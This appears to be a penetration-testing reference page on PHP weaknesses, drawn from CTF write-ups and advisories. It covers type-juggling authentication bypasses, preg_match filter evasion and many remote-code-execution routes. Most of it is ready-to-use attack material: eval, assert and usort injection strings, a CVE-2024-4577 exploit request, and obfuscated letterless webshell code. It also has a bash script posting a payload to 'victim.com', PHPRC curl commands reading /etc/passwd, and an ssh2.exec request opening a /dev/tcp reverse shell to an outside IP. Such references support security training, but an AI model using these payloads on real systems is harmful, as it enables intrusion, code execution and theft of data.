PHP Tricks
Common cookie-session locations
This is also valid for phpMyAdmin cookies.
Cookies:
PHPSESSID
phpMyAdmin
Locations:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Bypassing PHP comparisons
Loose comparisons/Type Juggling ( == )
PHP’s == operator performs type coercion and can produce surprising results. Use === when both value and type must match. Exact loose-comparison behavior is version-dependent: PHP 8 changed number-to-non-numeric-string comparisons, so many classic PHP 7 examples no longer evaluate to true.[16]
PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

En Php Loose Comparison Type Juggling Owasp (1).Pdf
Classic cases to test include:
"string" == 0istruethrough PHP 7 butfalsein PHP 8 because the string is non-numeric.[16]- Numeric strings can be converted for numeric comparison. Hex-string handling changed across older PHP releases, so verify examples such as
"0xAAAA" == "43690"against the target version. - Strings matching numeric scientific notation, such as
"0e3264578", are numeric zero. A hash consisting of0efollowed only by digits can therefore compare equal to another numeric-zero string under==. Precomputed examples are available at spaze/hashes. - Other classic non-numeric-string-to-zero cases, such as
"X" == 0, apply to PHP 7 and earlier, not PHP 8.[16]
More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09[1]
in_array()
Type juggling also affects in_array() by default. Set the third argument to true to require strict comparison. As with ==, the exact result of mixed string/number cases depends on the PHP version:
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
On older PHP versions, code that used strcmp() or strcasecmp() for authentication and failed to validate input types could sometimes be bypassed by submitting an array (password[]=): the function emitted a warning and returned null, which loose surrounding logic could mistake for equality. Modern PHP enforces the string parameters and throws TypeError, so test this as a legacy behavior and examine how the application handles the exception.[17]
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
The same legacy pattern applies to strcasecmp().
Strict type Juggling
Even if === is being used there could be errors that makes the comparison vulnerable to type juggling. For example, if the comparison is converting the data to a different type of object before comparing:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
Applications sometimes use preg_match() to reject input matching a blacklist. This is fragile because regex semantics and error returns can be mishandled.
New line bypass
Without the s modifier, dot (.) does not match a newline. Consequently, a pattern anchored with ^ and built around .* may inspect only the first line even though preg_match() is processing the complete subject. Multiline input can then bypass the intended blacklist. For example:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
To bypass this check you could send the value with new-lines urlencoded (%0A) or if you can send JSON data, send it in several lines:
{
"cmd": "cat /etc/passwd"
}
Find an example here: https://ramadistra.dev/fbctf-2019-rceservice[2]
Length error bypass
(This bypass was tried apparently on PHP 5.2.5 and I couldn’t make it work on PHP 7.3.15)
Some older configurations can make preg_match() fail on a very large input after reaching PCRE resource limits. This only becomes a bypass if the application treats the false error return as equivalent to the integer 0 “no match” result. For example, when blacklisting JSON, test:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0[3]
ReDoS Bypass
Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong[4][5]

In short the problem happens because the preg_* functions in PHP builds upon the PCRE library. In PCRE certain regular expressions are matched by using a lot of recursive calls, which uses up a lot of stack space. It is possible to set a limit on the amount of recursions allowed, but in PHP this limit defaults to 100.000 which is more than fits in the stack.
This Stackoverflow thread was also linked in the post where it is talked more in depth about this issue. Our task was now clear:
Send an input that would make the regex do 100_000+ recursions, causing SIGSEGV, making the preg_match() function return false thus making the application think that our input is not malicious, throwing the surprise at the end of the payload something like {system(<verybadcommand>)} to get SSTI —> RCE —> flag :).
Well, in regex terms, we’re not actually doing 100k “recursions”, but instead we’re counting “backtracking steps”, which as the PHP documentation states it defaults to 1_000_000 (1M) in the pcre.backtrack_limit variable.
To reach that, 'X'*500_001 will result in 1 million backtracking steps (500k forward and 500k backwards):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Type Juggling for PHP obfuscation
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
Execute After Redirect (EAR)
If PHP is redirecting to another page but no die or exit function is called after the header Location is set, the PHP continues executing and appending the data to the body:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
Path Traversal and File Inclusion Exploitation
Check:
More tricks
- register_globals: In PHP < 4.1.1.1 or if misconfigured, register_globals may be active (or their behavior is being mimicked). This implies that in global variables like $_GET if they have a value e.g. $_GET[“param”]=“1234”, you can access it via $param. Therefore, by sending HTTP parameters you can overwrite variables that are used within the code.
- The PHPSESSION cookies of the same domain are stored in the same place, therefore if within a domain different cookies are used in different paths you can make that a path accesses the cookie of the path setting the value of the other path cookie.
This way if both paths access a variable with the same name you can make the value of that variable in path1 apply to path2. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). - When you have the usernames of the users of the machine. Check the address: /~<USERNAME> to see if the php directories are activated.
- If a php config has
register_argc_argv = Onthen query params separated by spaces are used to populate the array of argumentsarray_keys($_SERVER['argv'])like if they were arguments from the CLI. This is interesting because if that setting is off, the value of the args array will beNullwhen called from the web as the ars arry won’t be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison likeif (empty($_SERVER['argv'])) {an attacker could send parameters in the GET request like?--configPath=/lalalaand it will think it’s running as CLI and potential parse and use those arguments. More info in the original writeup.[6] - LFI and RCE using php wrappers
password_hash/password_verify
These functions are typically used to hash passwords and verify a password against a stored hash.
PHP supports multiple algorithm constants. PASSWORD_DEFAULT currently uses bcrypt but is designed to change over time, while PASSWORD_BCRYPT produces $2y$ hashes. Bcrypt truncates passwords at 72 bytes, so inputs sharing the same first 72 bytes verify against the same bcrypt hash.[18]
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
HTTP headers bypass abusing PHP errors
Causing error after setting headers
As demonstrated in this thread, exceeding PHP input-count limits—for example, more than 1,000 GET or POST parameters or 20 uploaded files under the tested configuration—can interfere with application header-setting logic.[7]
Allowing to bypass for example CSP headers being set in codes like:
<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];
Filling a body before setting headers
If a PHP page is printing errors and echoing back some input provided by the user, the user can make the PHP server print back some content long enough so when it tries to add the headers into the response the server will throw and error.
In the following scenario the attacker made the server throw some big errors, and as you can see in the screen when php tried to modify the header information, it couldn’t (so for example the CSP header wasn’t sent to the user):

SSRF in PHP functions
See:
ssh2.exec stream wrapper RCE
When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:[8]
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
is enough to execute shell commands over localhost SSH:
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
- The credential portion can reuse any leaked system password (e.g., from cracked bcrypt hashes).
- The trailing
#comments out the server-side suffix (files/<id>.zip), so only your command runs. - Blind RCE is confirmed by watching for egress with
tcpdump -ni tun0 icmpor by serving an HTTP canary.
Swap the command for a reverse shell payload once validated:
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Because everything happens inside the PHP worker, the TCP connection originates from the target and inherits the privileges of the injected account (yuri, eric, etc.).
Code execution
system(“ls”);
`ls`;
shell_exec(“ls”);
Check this for more useful PHP functions
RCE via preg_replace()
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
The pattern must match at least once to execute the replacement. The /e (PREG_REPLACE_EVAL) modifier was deprecated in PHP 5.5 and removed in PHP 7.0, so this is a PHP 5-era technique.[19]
RCE via Eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
RCE via Assert()
Before PHP 8.0, assert() could evaluate a string as PHP code; that behavior was deprecated in PHP 7.2 and removed in PHP 8.0. The following technique therefore applies only to older runtimes where string assertions are enabled.[17] Usually the user variable is inserted into the middle of an assertion string. For example:
assert("strpos($_GET['page']),'..') === false") —> In this case to get RCE you could do:
?page=a','NeVeR') === false and system('ls') and strpos('a
You will need to break the code syntax, add your payload, and then fix it again. You can use logic operations such as “and” or “%26%26” or ”|”. Note that “or”, ”||” doesn’t work because if the first condition is true our payload won’t get executed. The same way ”;” doesn’t work as our payload won’t be executed.
Other option is to add to the string the execution of the command: '.highlight_file('.passwd').'
Other option (if you have the internal code) is to modify some variable to alter the execution: $file = "hola"
RCE via usort()
This function sorts an array using a specified callback.
To abuse this function:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
You can also use // to comment the rest of the code.
To discover the number of parenthesis that you need to close:
?order=id;}//: we get an error message (Parse error: syntax error, unexpected ';'). We are probably missing one or more brackets.?order=id);}//: we get a warning. That seems about right.?order=id));}//: we get an error message (Parse error: syntax error, unexpected ')' i). We probably have too many closing brackets.
RCE via .htaccess
If you can upload an Apache .htaccess file into a directory where overrides are permitted, you may be able to remap an attacker-controlled extension to the PHP handler and execute uploaded code.
Different .htaccess shells can be found here
RCE via Env Variables
If you find a vulnerability that allows you to modify env variables in PHP (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get RCE.
LD_PRELOAD: This env variable allows you load arbitrary libraries when executing other binaries (although in this case it might not work).PHPRC: Instructs PHP on where to locate its configuration file, usually calledphp.ini. If you can upload your own config file, then, usePHPRCto point PHP at it. Add anauto_prepend_fileentry specifying a second uploaded file. This second file contains normal PHP code, which is then executed by the PHP runtime before any other code.- Upload a PHP file containing our shellcode
- Upload a second file, containing an
auto_prepend_filedirective instructing the PHP preprocessor to execute the file we uploaded in step 1 - Set the
PHPRCvariable to the file we uploaded in step 2.- Get more info on how to execute this chain from the original report.[9]
- PHPRC - another option
- If you cannot upload files, you could use in FreeBSD the “file”
/dev/fd/0which contains thestdin, being the body of the request sent to thestdin:curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- Or to get RCE, enable
allow_url_includeand prepend a file with base64 PHP code:curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- Technique from this report.[10]
- If you cannot upload files, you could use in FreeBSD the “file”
XAMPP CGI RCE - CVE-2024-4577
In affected Windows CGI deployments, the web server parses an HTTP request and constructs arguments for php-cgi.exe. The vulnerable character conversion allows option injection, including these directives for loading PHP code from the request body:[11]
-d allow_url_include=1 -d auto_prepend_file=php://input
The exploit substitutes byte 0xAD for - before later normalization. See the example from this post:[11]
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
PHP Sanitization bypass & Brain Fuck
In this post it’s possible to find great ideas to generate a brain fuck PHP code with very few chars being allowed.[12]
Moreover it’s also proposed an interesting way to execute functions that allowed them to bypass several checks:
(1)->{system($_GET[chr(97)])}
PHP Static analysis
Look if you can insert code in calls to these functions (from here):[13]
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_contents
$_COOKIE | if # Track attacker-controlled sources into conditional or dangerous sinks
When debugging an authorized PHP application, error display can be enabled in the applicable php.ini (for example, /etc/php5/apache2/php.ini) with display_errors = On; then restart Apache with sudo systemctl restart apache2. Do not enable this in production because error output may disclose secrets.
Deobfuscating PHP code
You can use the web www.unphp.net to deobfuscate php code.
PHP Wrappers & Protocols
PHP wrappers and protocols can sometimes bypass application-level read or write restrictions. For more information, see this page.
Xdebug unauthenticated RCE
If Xdebug is enabled in phpinfo() output, assess whether its remote-debugging configuration is reachable and vulnerable. One historical exploit implementation is nqxcode/xdebug-exploit.
Variable variables
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
RCE abusing new $_GET[“a”]($_GET[“b”])
If in a page you can create a new object of an arbitrary class you might be able to obtain RCE, check the following page to learn how:
Php Rce Abusing Object Creation New Usd Get A Usd Get B
Execute PHP without letters
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/[14]
Using octal
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR easy shell code
According to this writeup the following it’s possible to generate an easy shellcode this way:[15]
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
So, if you can execute arbitrary PHP without numbers and letters you can send a request like the following abusing that payload to execute arbitrary PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
For a more in depth explanation check https://ctf-wiki.org/web/php/php/#preg_match
XOR Shellcode (inside eval)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
Perl like
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
References
- [1] PHP Type Juggling Vulnerabilities
- [2] Facebook CTF 2019 Writeup: rceservice – Bypassing preg_match
- [3] Solving Each and Every FB CTF Challenge – Part 1
- [4] Intigriti 1223 Challenge Writeup – PHP ReDoS preg_match Bypass to SSTI
- [5] Pong – ReDoS to SSRF via Open Redirect and DNS Zone Transfer (CTF Writeup)
- [6] How an obscure PHP footgun led to RCE in Craft CMS
- [7] pilvar222 on X: PHP skips response headers after 1000+ GET/POST params or 20 files
- [8] 0xdf – HTB Era: abusing ssh2.exec stream wrappers
- [9] CVE-2023-36844 and Friends: RCE in Juniper Devices
- [10] Fileless Remote Code Execution on Juniper Firewalls
- [11] No Way, PHP Strikes Again! (CVE-2024-4577)
- [12] Back to School – Exploiting a Remote Code Execution Vulnerability in Moodle
- [13] HackTheBox - Wall
- [14] Bypass WAF – PHP Webshell Without Numbers and Letters
- [15] Web challenge – mgp25 blog (PHP XOR shellcode without letters or numbers)
- [16] PHP 8.0 migration: string-to-number comparison changes
- [17] PHP 8.0 backward-incompatible standard-library changes
- [18] PHP manual:
password_hash - [19] PHP 7.0 migration: changed functions